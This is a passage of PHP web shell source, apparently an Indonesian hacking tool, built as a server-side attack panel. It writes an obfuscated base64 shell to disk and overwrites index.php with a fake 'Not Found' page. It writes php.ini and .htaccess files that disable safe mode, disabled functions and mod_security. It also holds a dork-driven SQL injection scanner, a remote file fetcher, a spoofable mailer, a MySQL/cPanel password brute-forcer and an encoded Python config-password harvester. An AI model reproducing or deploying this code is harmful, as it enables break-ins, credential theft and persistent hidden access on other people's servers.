0keyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg2Mlx4NmViXHg3NFx4NjRceDczZlx4NzlceDc5Il19LiIvd3AtY1x4NmZuXHg3NFx4NjVceDZlXHg3NC90aGVtZVx4NzMvIi4keyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiZmlceDcxXHg2Mlx4NmFceDY1XHg3N1x4NzJqIl19LiIvXHgzNFx4MzA0Llx4NzBoXHg3MCI7bGlzdGFsbCgid1x4NzBceDJlXHg3NFx4Nzh0IiwkeyR7IkdceDRjXHg0ZkJceDQxTFMifVsicFx4NzhzXHg2MnRceDc5ciJdfS5DaHIoMTApKTt9fWVjaG8iXHgzY2EgXHg2OHJlZj0iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJxXHg3NnRkXHg3MVx4NzdceDYycVx4NzRtIl19LiI+XHg0Y1x4NDlceDRlS1x4M2MvYT48YnIgLz4iO2VjaG8iPC90XHg2NFx4M2UiO319fWVsc2V7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZmXHg2OGFtY2xceDY0XHg2OFx4NzgiXT0iXHg2ZndceDZlXHg2NXIiO2VjaG8iXHgzY3RyXHgzZVx4M2NceDc0ZD48XHg2MVx4MjBceDY4XHg3Mlx4NjVmXHgzZCIuJHskeyJHTE9CQVx4NGNceDUzIn1bImJceDYxXHg2YVx4NzNceDcwXHg3NHFceDc3XHg2ZnJ3Il19LiJceDIwb1x4NmVjbGljXHg2Yj1cIlx4NzdceDY5XHg2ZVx4NjRceDZmd1x4MmVceDZmXHg3MGVuKHRoXHg2OXMuaHJceDY1XHg2Nik7XHg3Mlx4NjV0XHg3NXJuIFxuXG5ceDY2XHg2MWxzXHg2NTtcIj4iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZmXHg2Nlx4NjVceDZmZFx4NzdceDc3bFx4NmF5XHg2ZCJdfS4iXHgzYy9ceDYxXHgzZVx4M2MvXHg3NGQ+PHRceDY0PiIuJHskeyJceDQ3TE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmZceDY4XHg2MW1ceDYzXHg2Y1x4NjRoXHg3OCJdfVsiXHg2ZVx4NjFceDZkZSJdLiI8L3RceDY0XHgzZVx4M2NceDc0XHg2NFx4M2VceDNjYVx4MjBceDY4XHg3Mlx4NjVceDY2XHgzZCIuJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NjlceDY2XHg2Nlx4NmNceDZiXHg2YWp4XHg2ZCJdfS4iPldceDZmcmRQXHg3Mlx4NjVceDczc1x4M2MvXHg2MT48L3RceDY0PjxceDc0ZD48XHg2Nm9ceDZlXHg3NFx4MjBjb2xceDZmXHg3Mj1cInJlXHg2NFwiPlt4XVx4MjBcblxubVx4NzlceDczXHg3MVx4NmNceDIwZmFpbFx4M2MvZm9udFx4M2U8L3RceDY0PiI7fX19fX19YnJlYWs7Y2FzZSJ1XHg3MGxvXHg2MWRceDY1XHg3MiI6ZWNobyJceDNjY1x4NjVceDZldGVyPjxceDY2b1x4NzJceDZkXHgyMGFceDYzdGlvXHg2ZT1cIlx4MjJceDIwbVx4NjV0XHg2OFx4NmZceDY0PVx4MjJwXHg2ZnN0XCIgXHg2NVx4NmVceDYzXHg3NFx4NzlceDcwZVx4M2RcIm1ceDc1bFx4NzRceDY5XHg3MFx4NjFyXHg3NC9ceDY2b3JceDZkLWRceDYxXHg3NGFceDIyIFx4NmVceDYxXHg2ZFx4NjU9XHgyMnVwbG9hXHg2NFx4NjVceDcyXCJceDIwaWRceDNkXCJceDc1XHg3MGxceDZmXHg2MWRceDY1clwiXHgzZSI7ZWNobyJceDNjXHg2M2VceDZldFx4NjVyPlx4M2Npblx4NzBceDc1dCBceDc0eXBlPVx4MjJceDY2aVx4NmNlXCJceDIwXHg2ZVx4NjFceDZkZT1cIlx4NjZceDY5bFx4NjVcIlx4MjBzaVx4N2FceDY1PVx4MjJceDM1MFwiXHgzZVx4M2NceDY5blx4NzB1dFx4MjBceDZlXHg2MW1lPVx4MjJceDVmXHg3NVx4NzBceDZjXCIgXHg3NHlwXHg2NVx4M2RcInNceDc1Ylx4NmRceDY5XHg3NFwiIFx4NjlkXHgzZFx4MjJceDVmXHg3NVx4NzBceDZjXCJceDIwXG5cbnZceDYxbHVceDY1XHgzZFx4MjJceDU1cFx4NmNvYVx4NjRcIj5ceDNjL2ZceDZmXHg3Mm1ceDNlXHgzYy9ceDYzXHg2NVx4NmV0ZVx4NzI+IjtpZigkX1BPU1RbIlx4NWZceDc1cFx4NmMiXT09IlVceDcwXHg2Y1x4NmZceDYxXHg2NCIpe2lmKEBjb3B5KCRfRklMRVNbImZceDY5XHg2Y1x4NjUiXVsidG1ceDcwXHg1Zlx4NmVhbVx4NjUiXSwkX0ZJTEVTWyJmaWxceDY1Il1bIlx4NmVhbWUiXSkpe2VjaG8iPFx4NzBceDIwXHg2MVx4NmNceDY5XHg2N249XHgyMlx4NjNceDY1XHg2ZVx4NzRlclwiPlx4M2NmXHg2Zlx4NmVceDc0IGZhXHg2M1x4NjVceDNkXCJceDU2ZXJkYW5hXHgyMiBcblxuc1x4Njl6ZT1cIjFceDIyPjxmb1x4NmVceDc0IGNvbFx4NmZyPVx4MjJceDc3aGl0XHg2NVx4MjI+XHgyMFx4NDRvXHg2ZVx4NjUgIVx4MjFceDNjL1x4NjZvblx4NzQ+PFx4NjJceDcyXHgzZSI7fWVsc2V7ZWNobyJceDNjZlx4NmZuXHg3NCBjb1x4NmNceDZmcj1ceDIyI0ZceDQ2XHgzMDBceDMwXHgzMFwiXHgzZUZceDYxXHg2OVx4NmNceDY1ZFx4MjA6KCA8L2ZceDZmXHg2ZXRceDNlPC9wPlxuXHQ8L3RkPjwvdFx4NjFiXHg2Y1x4NjU+PC9ceDc0XHg3Mj5cblxuIjt9fX19Cj8+';
  978. $file = fopen("ciprut.php" ,"w+");
  979. $write = fwrite ($file ,base64_decode($ciprut));
  980. fclose($file);
  981. chmod("ciprut.php", 0644);
  982. $indexshell = fopen("index.php" ,"w+");
  983. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  984. $tulis = fwrite( $indexshell, base64_decode($data));
  985. fclose($indexshell);
  986. $safemode = fopen("php.ini" ,"w+");
  987. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  988. $tulis = fwrite( $safemode, base64_decode($data));
  989. fclose($safemode);
  990. echo "<iframe src=inc/ciprut.php width=97% height=100% frameborder=0></iframe>";
  991. }
  992. elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
  993. {
  994. ?>
  995. <form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">
  996. <?php
  997. echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
  998. ob_start();
  999. set_time_limit(0);
  1000. if (isset($_POST['scan'])) {
  1001. $browser = $_SERVER['HTTP_USER_AGENT'];
  1002. $first = "startgoogle.startpagina.nl/index.php?q=";
  1003. $sec = "&start=";
  1004. $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
  1005. for($id=0 ; $id<=30; $id++){
  1006. $page=$id*10;
  1007. $dork=urlencode($_POST['dork']);
  1008. $url = $first.$dork.$sec.$page;
  1009. $curl = curl_init($url);
  1010. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1011. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  1012. $result = curl_exec($curl);
  1013. curl_close($curl);
  1014. preg_match_all($reg,$result,$matches);
  1015. }
  1016. foreach($matches[1] as $site){
  1017. $url = preg_replace("/=/", "='", $site);
  1018. $curl=curl_init();
  1019. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  1020. curl_setopt($curl,CURLOPT_URL,$url);
  1021. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  1022. curl_setopt($curl,CURLOPT_TIMEOUT,'5');
  1023. $GET=curl_exec($curl);
  1024. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT *
  1025. FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
  1026. echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> &#60;-- SQLI Vuln
  1027. Found..</font></b></center>';
  1028. ob_flush();flush();
  1029. }else{
  1030. echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>';
  1031. ob_flush();flush();
  1032. }
  1033. ob_flush();flush();
  1034. }
  1035. ob_flush();flush();
  1036. }
  1037. ob_flush();flush();
  1038. }
  1039. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  1040. if(isset($_POST['uploadcomp'])){
  1041. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  1042. $path = magicboom($_POST['path']);
  1043. $fname = $_FILES['file']['name'];
  1044. $tmp_name = $_FILES['file']['tmp_name'];
  1045. $pindah = $path.$fname;
  1046. $stat = @move_uploaded_file($tmp_name,$pindah);
  1047. if ($stat) {
  1048. $msg = "file uploaded to $pindah";
  1049. }
  1050. else $msg = "failed to upload $fname";
  1051. }
  1052. else $msg = "failed to upload $fname";
  1053. }
  1054. elseif(isset($_POST['uploadurl'])){
  1055. $pilihan = trim($_POST['pilihan']);
  1056. $wurl = trim($_POST['wurl']);
  1057. $path = magicboom($_POST['path']);
  1058. $namafile = download($pilihan,$wurl);
  1059. $pindah = $path.$namafile;
  1060. if(is_file($pindah)) {
  1061. $msg = "file uploaded to $pindah";
  1062. }
  1063. else $msg = "failed to upload $namafile";
  1064. }
  1065. ?>
  1066. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  1067. <table class="tabnet" style="width:320px;padding:0 1px;">
  1068. <tr><th colspan="2">Upload from computer</th></tr>
  1069. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#ffffff;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  1070. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1071. </tr>
  1072. </table></form>
  1073. <table class="tabnet" style="width:320px;padding:0 1px;">
  1074. <tr><th colspan="2">Upload from url</th></tr>
  1075. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  1076. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  1077. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1078. <tr><td><select size="1" class="inputz" name="pilihan">
  1079. <option value="wwget">wget</option>
  1080. <option value="wlynx">lynx</option>
  1081. <option value="wfread">fread</option>
  1082. <option value="wfetch">fetch</option>
  1083. <option value="wlinks">links</option>
  1084. <option value="wget">GET</option>
  1085. <option value="wcurl">curl</option>
  1086. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  1087. </tr>
  1088. </table>
  1089. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  1090. <?php }
  1091. elseif(isset($_GET['x']) && ($_GET['x'] == 'security-mode'))
  1092. {
  1093. ?>
  1094. <form action="?y=<?php echo $pwd; ?>&amp;x=security-mode" method="post">
  1095. <?php
  1096. echo "<html>
  1097. <center><br><br><br>
  1098. <font color=#00ffff > Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan php.ini </font><br>
  1099. <form method='POST' >
  1100. <font color=#00ffff > Path to Disable : </font><input type='text' name='phpinisafemode' value='$pwd' style='color:#00ffff;background-color:#000000' /><br>
  1101. <input type='submit' name='dsmsubmit' style='color:#00ffff;background-color:#000000' value='Create PHP.INI' />
  1102. </form>
  1103. <br><br>
  1104. <font color=#00ffff > Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan Htaccess </font><br>
  1105. <form method='POST' >
  1106. <font color=#00ffff > Path to Disable : </font><input type='text' name='htaccesssafemode' style='color:#00ffff;background-color:#000000' value='$pwd' /><br>
  1107. <input type='submit' name='omssubmit' style='color:#00ffff;background-color:#000000' value='Create .HTACCESS' />
  1108. </form>";
  1109. $dirphpini = $_POST['phpinisafemode'];
  1110. $dirhtaccess = $_POST['htaccesssafemode'];
  1111. $phpininamelol = "php.ini";
  1112. if($_POST['omssubmit'])
  1113. {
  1114. $fse=fopen("$dirphpini.htaccess","w");
  1115. fwrite($fse,'<IfModule mod_security.c>
  1116. Sec------Engine Off
  1117. Sec------ScanPOST Off
  1118. </IfModule>');
  1119. fclose($fse);
  1120. }
  1121. else if ($_POST['dsmsubmit'])
  1122. {
  1123. $fse=fopen("$dirhtaccess$phpininamelol","w");
  1124. fwrite($fse,'safe_mode=OFF
  1125. disable_functions=NONE');
  1126. fclose($fse);
  1127. }
  1128. }
  1129. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail'))
  1130. {
  1131. if(isset($_POST['mail_send']))
  1132. {
  1133. $mail_to = $_POST['mail_to'];
  1134. $mail_from = $_POST['mail_from'];
  1135. $mail_subject = $_POST['mail_subject'];
  1136. $mail_content = magicboom($_POST['mail_content']);
  1137. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
  1138. { $msg = "email sent to $mail_to"; }
  1139. else $msg = "send email failed";
  1140. }
  1141. ?>
  1142. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  1143. <table class="cmdbox">
  1144. <tr>
  1145. <td>
  1146. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea>
  1147. </td>
  1148. </tr>
  1149. <tr>
  1150. <td>
  1151. &nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to
  1152. </td>
  1153. </tr>
  1154. <tr>
  1155. <td>
  1156. &nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />
  1157. &nbsp; from
  1158. </td>
  1159. </tr>
  1160. <tr>
  1161. <td>
  1162. &nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject
  1163. </td>
  1164. </tr>
  1165. <tr>
  1166. <td>
  1167. &nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" />
  1168. </td>
  1169. </tr>
  1170. <tr>
  1171. <td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?>
  1172. </td>
  1173. </tr>
  1174. </table>
  1175. </form>
  1176. <?php
  1177. }
  1178. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpbrute'))
  1179. {
  1180. ?>
  1181. <form action="?y=<?php echo $pwd; ?>&amp;x=cpbrute" method="post">
  1182. <?php
  1183. //bruteforce
  1184. ?>
  1185. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  1186. <?php
  1187. @set_time_limit(0);
  1188. @error_reporting(0);
  1189. if($_POST['page']=='find')
  1190. {
  1191. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  1192. {
  1193. if($_POST['type'] == 'passwd'){
  1194. $e = explode("\n",$_POST['usernames']);
  1195. foreach($e as $value){
  1196. $k = explode(":",$value);
  1197. $username .= $k['0']." ";
  1198. }
  1199. }elseif($_POST['type'] == 'simple'){
  1200. $username = str_replace("\n",' ',$_POST['usernames']);
  1201. }
  1202. $a1 = explode(" ",$username);
  1203. $a2 = explode("\n",$_POST['passwords']);
  1204. $id2 = count($a2);
  1205. $ok = 0;
  1206. foreach($a1 as $user )
  1207. {
  1208. if($user !== '')
  1209. {
  1210. $user=trim($user);
  1211. for($i=0;$i<=$id2;$i++)
  1212. {
  1213. $pass = trim($a2[$i]);
  1214. if(@mysql_connect('localhost',$user,$pass))
  1215. {
  1216. echo "Aerul~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  1217. $ok++;
  1218. }
  1219. }
  1220. }
  1221. }
  1222. echo "<hr><b>You Found <font color=green>$ok</font> Cpanel Dude!!</b>";
  1223. echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1224. exit;
  1225. }
  1226. }
  1227. if($_POST['pass']=='password'){
  1228. @error_reporting(0);
  1229. $i = getenv('REMOTE_ADDR');
  1230. $d = date('D, M jS, Y H:i',time());
  1231. $h = $_SERVER['HTTP_HOST'];
  1232. $dir=$_SERVER['PHP_SELF'];
  1233. //mail("[email protected]","Cpanel Bruteforce","IP : $i \n | Host : $h \n | Dir : $dir \n ");
  1234. $back = "c2FmZV9tb2RlID0gT2ZmCmRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQpzYWZlX21vZGVfZ2lkID0gT0ZGCm9wZW5fYmFzZWRpciA9IE9GRgphbGxvd191cmxfZm9wZW4gPSBPbg==";
  1235. $file = fopen("php.ini","w+");
  1236. $write = fwrite ($file ,base64_decode($back));
  1237. fclose($file);
  1238. chmod("php.ini",0755);
  1239. mkdir('config',0755);
  1240. $cp =
  1241. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA